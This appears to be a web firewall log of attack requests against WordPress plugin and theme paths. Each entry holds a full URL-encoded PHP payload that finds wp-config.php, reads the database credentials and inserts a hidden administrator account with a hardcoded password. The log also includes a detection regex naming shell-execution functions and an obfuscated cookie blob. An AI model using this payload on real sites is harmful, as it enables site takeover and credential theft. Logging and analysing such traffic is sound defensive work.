HV:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=075c9837d13360cab7e282d000e684af; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\n\nHV=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:24:43","213.209.159.254","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FP:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_